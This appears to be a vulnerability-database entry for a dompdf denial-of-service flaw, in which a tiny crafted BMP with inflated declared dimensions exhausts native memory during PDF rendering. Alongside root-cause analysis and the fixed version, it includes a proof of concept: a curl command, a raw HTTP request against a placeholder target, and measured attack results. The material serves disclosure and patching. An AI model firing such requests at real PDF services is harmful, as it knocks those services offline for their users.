Vulnerability Database

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Total vulnerabilities in the database

CVE-2026-59941 — dompdf / dompdf

Uncontrolled Resource Consumption

Summary

dompdf accepts a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas.

A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a 169-byte request drove dompdf to render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated.

Details

Root cause

The image is processed based on declared dimensions and type alone — no pixel budget:

// src/Image/Cache.php:131-134 list($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options->getHttpContext()); if (($width && $height && in_array($type, ["gif","png","jpeg","bmp","svg","webp"], true)) === false) { throw new ImageException("Image type unknown", E_WARNING); }

For BMPs that getimagesize() does not fully parse, dompdf trusts the raw header fields:

// src/Helpers.php:833-837 if (substr($data, 0, 2) === "BM") { $meta = unpack("vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight", $data); $width = (int) $meta["width"]; $height = (int) $meta["height"]; $type = "bmp"; }

At conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists:

// src/Helpers.php:868-869 — native decoder is tried FIRST on PHP >= 7.2 if (function_exists("imagecreatefrombmp") && ($im = imagecreatefrombmp($filename)) !== false) { return $im; } // src/Helpers.php:940 — hand-rolled fallback $im = imagecreatetruecolor($meta['width'], $meta['height']);

There is no maximum width/height or maximum total-pixel guard anywhere on this path.

Source-to-sink

  1. Attacker HTML reaches Dompdf::loadHtml() with <img src="data:image/bmp;base64,…"> (or any BMP src).
  2. Dompdf::render() decorates frames; Frame\Factory marks <img> as an image; FrameDecorator\Image calls Image\Cache::resolve_url().
  3. Image\Cache::resolve_url() accepts the BMP on declared dimensions/type (src/Image/Cache.php:131-134).
  4. During render, Adapter\CPDF::image() identifies the BMP and calls _convert_to_png() (src/Adapter/CPDF.php:593).
  5. _convert_to_png() invokes Helpers::imagecreatefrombmp(), which allocates the full canvas — via the native imagecreatefrombmp() on PHP ≥ 7.2, or the hand-rolled imagecreatetruecolor() fallback otherwise.

PoC

erified against dompdf @ a6ddc4f on PHP 8.3.6 with GD enabled.

The crafted BMP is 58 bytes: a 14-byte file header + 40-byte BITMAPINFOHEADER declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes:

<html><body><img src="" style="width:1px;height:1px"></body></html>

(The base64 above decodes to a 58-byte BMP declaring 6000×6000. The CSS width:1px;height:1px does not help the defender — the intrinsic decode happens regardless.)

1 — Direct conversion

native imagecreatefrombmp exists: yes dompdf_getimagesize => 6000x6000 type=bmp imagecreatefrombmp => GdImage 6000x6000 (allocated from a 58-byte file) Maximum resident set size: 160 MB (10x10 control: 24 MB) php_peak (PHP-managed): 0.8 MB <-- GD memory is native; PHP memory_limit does NOT cap it

The PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD's native allocator, so memory_limit does not bound it.

2 — Full Dompdf::render()

declared 6000x6000 payload 169 bytes render 5.8 s RSS ~417 MB output 106 KB declared 10x10 payload 169 bytes render 0.01 s RSS ~30 MB output 1.4 KB

3 — HTTP reproduction (curl / Burp)

Reproduced against a minimal PDF endpoint (server.php, included) that simply renders posted HTML — the shape of any invoice/report/HTML-to-PDF service. The endpoint sets isRemoteEnabled=false; the attack still works because data: URIs are an allowed protocol by default and need no remote fetch.

curl:

curl -s -X POST "https://TARGET/render" \ --data-binary '<html><body><img src="" style="width:1px;height:1px"></body></html>' \ -o /dev/null -w 'http=%{http_code} time=%{time_total}s\n'

Burp Repeater (enable "Update Content-Length"):

POST /render HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: text/html Connection: close <html><body><img src="" style="width:1px;height:1px"></body></html>

Observed (peak RSS read from the worker's /proc/<pid>/status VmHWM, each on a fresh worker so the high-water mark is per-request):

[ATTACK ] declared 6000x6000 request=169 B -> 200 application/pdf output=106397 B server peak RSS ~412 MB wall 4.8 s [CONTROL] declared 10x10 request=169 B -> 200 application/pdf output=1407 B server peak RSS ~34 MB wall <0.1 s

Two identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared width × height, bounded only by the 32-bit header fields and the host's available memory (the process is OOM-killed before the theoretical maximum).

Impact

A single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool's memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD's native allocator, a per-request memory_limit does not contain it.

Caveat: this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation — those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.

No technical information available.

CWEs:

Software From Fixed in
Composer icon dompdf / dompdf - 3.1.6

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

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Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

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